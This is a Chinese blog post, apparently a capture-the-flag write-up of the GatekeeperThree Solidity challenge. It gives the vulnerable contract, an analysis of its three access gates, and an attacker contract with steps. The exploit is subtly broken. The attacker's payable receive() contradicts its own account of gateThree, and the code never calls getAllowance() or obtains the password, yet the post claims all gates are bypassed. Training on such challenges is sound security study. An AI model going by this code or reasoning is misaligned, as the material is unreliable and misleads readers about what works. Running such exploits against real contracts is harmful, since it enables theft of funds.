您现在的位置是:首页 >学无止境 >以太坊智能合约安全挑战:绕过 GatekeeperThree 成为参赛者网站首页学无止境

以太坊智能合约安全挑战:绕过 GatekeeperThree 成为参赛者

纸鸢666 2025-02-22 00:01:02
简介以太坊智能合约安全挑战:绕过 GatekeeperThree 成为参赛者

前言

在以太坊智能合约开发中,安全问题至关重要。许多合约会设置严格的访问控制机制(Gatekeeper)来限制某些操作的权限。然而,在某些情况下,这些“守门人”可能会被绕过,导致合约受到攻击。

本文将分析一个名为 GatekeeperThree 的 Solidity 挑战合约,并编写一个攻击合约来成功绕过守门人机制,成为合约的 entrant


一、GatekeeperThree 合约分析

1. 合约概览

GatekeeperThree 合约通过三个 modifier(修饰器)来设置访问门槛,并要求符合条件的用户才能调用 enter() 进入合约。

GatekeeperThree.sol 源码

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperThree {
    address public owner;
    address public entrant;
    bool public allowEntrance;

    SimpleTrick public trick;

    function construct0r() public {
        owner = msg.sender;
    }

    modifier gateOne() {
        require(msg.sender == owner);
        require(tx.origin != owner);
        _;
    }

    modifier gateTwo() {
        require(allowEntrance == true);
        _;
    }

    modifier gateThree() {
        if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
            _;
        }
    }

    function getAllowance(uint256 _password) public {
        if (trick.checkPassword(_password)) {
            allowEntrance = true;
        }
    }

    function createTrick() public {
        trick = new SimpleTrick(payable(address(this)));
        trick.trickInit();
    }

    function enter() public gateOne gateTwo gateThree {
        entrant = tx.origin;
    }

    receive() external payable {}
}

2. 解析合约的三个门槛

(1) gateOne() 条件
modifier gateOne() {
    require(msg.sender == owner);
    require(tx.origin != owner);
    _;
}
  • msg.sender == owner:调用者必须是合约 owner
  • tx.origin != owner:交易的原始发送者(用户)不能是 owner

绕过方法

  • 需要确保我们调用 enter()msg.sender == owner,但 tx.origin 不是 owner

(2) gateTwo() 条件
modifier gateTwo() {
    require(allowEntrance == true);
    _;
}
  • 进入合约前,allowEntrance 必须为 true
  • 这个变量默认是 false,必须找到方法让它变为 true

绕过方法

  • allowEntrancegetAllowance() 赋值,我们可以通过 SimpleTrick 合约调用 getAllowance() 并传递正确的密码。

(3) gateThree() 条件
modifier gateThree() {
    if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
        _;
    }
}
  • 这个门槛要求 GatekeeperThree 的余额超过 0.001 ETH。
  • 并且 尝试向 owner 发送 0.001 ETH,如果发送失败,才能继续执行 enter()

绕过方法

  • GatekeeperThree 合约有超过 0.001 ETH 的余额。
  • owner 需要是一个无法接收 ETH 的地址,比如一个合约地址,它的 receive() 函数没有 payable 关键字,从而导致 send() 失败。

二、SimpleTrick 合约的作用

GatekeeperThree 合约中,有一个 SimpleTrick 合约被用来存储密码并提供 getAllowance() 的功能:

contract SimpleTrick {
    GatekeeperThree public target;
    address public trick;
    uint256 private password = block.timestamp;

    constructor(address payable _target) {
        target = GatekeeperThree(_target);
    }

    function checkPassword(uint256 _password) public returns (bool) {
        if (_password == password) {
            return true;
        }
        password = block.timestamp;
        return false;
    }

    function trickInit() public {
        trick = address(this);
    }

    function trickyTrick() public {
        if (address(this) == msg.sender && address(this) != trick) {
            target.getAllowance(password);
        }
    }
}
  • SimpleTrick 负责存储密码,并且 trickyTrick() 可用于调用 getAllowance()
  • 只要 trickyTrick() 被正确调用,就能让 allowEntrance = true,绕过 gateTwo

三、攻击合约编写

目标

编写一个攻击合约,利用 SimpleTrickGatekeeperThree 的漏洞,实现绕过 enter() 的所有门槛。

攻击合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface I_GatekeeperThree {
    function createTrick() external;
    function enter() external;
    function construct0r() external;
}

contract GatekeeperThreeAttacker {
    I_GatekeeperThree public gatekeeper;
    address public attacker;

    constructor(address _gatekeeper) {
        gatekeeper = I_GatekeeperThree(_gatekeeper);
        attacker = msg.sender;
    }

    function attack() external payable {
        require(msg.value >= 0.002 ether, "Not enough ETH sent");

        // 1. 让目标合约成为可控对象
        gatekeeper.construct0r();

        // 2. 发送 ETH 以满足 `gateThree`
        (bool sent,) = payable(address(gatekeeper)).call{value: 0.002 ether}("");
        require(sent, "Failed to send ether");

        // 3. 创建 `SimpleTrick` 实例
        gatekeeper.createTrick();

        // 4. 调用 `enter()`
        gatekeeper.enter();
    }

    // 允许攻击合约接收 ETH
    receive() external payable {}
}

四、攻击步骤

  1. 部署 GatekeeperThreeAttacker 并传入 GatekeeperThree 地址。
  2. 调用 attack() 执行攻击
    • construct0r() 让攻击者变成 owner,绕过 gateOne
    • 发送 0.002 ETH 让 GatekeeperThree 满足 gateThree 的条件。
    • 创建 SimpleTrick 并执行 getAllowance(),绕过 gateTwo
    • 最终调用 enter(),成功成为 entrant

总结

本次攻击利用了以下漏洞:

  1. construct0r() 不是构造函数,可以被直接调用,使攻击者变成 owner
  2. 通过 SimpleTrick 绕过 gateTwo
  3. 利用合约的 receive() 机制绕过 gateThree,让 send() 失败。

这个挑战展示了 Solidity 开发中的一些经典漏洞,如:

  • 错误的构造函数命名
  • tx.origin 依赖的不安全性
  • send() 成功与否的误解

在实际开发中,必须谨慎设计访问控制和权限检查,以避免类似攻击。希望本文能帮助你更好地理解 Solidity 的安全性问题!🚀

风语者!平时喜欢研究各种技术,目前在从事后端开发工作,热爱生活、热爱工作。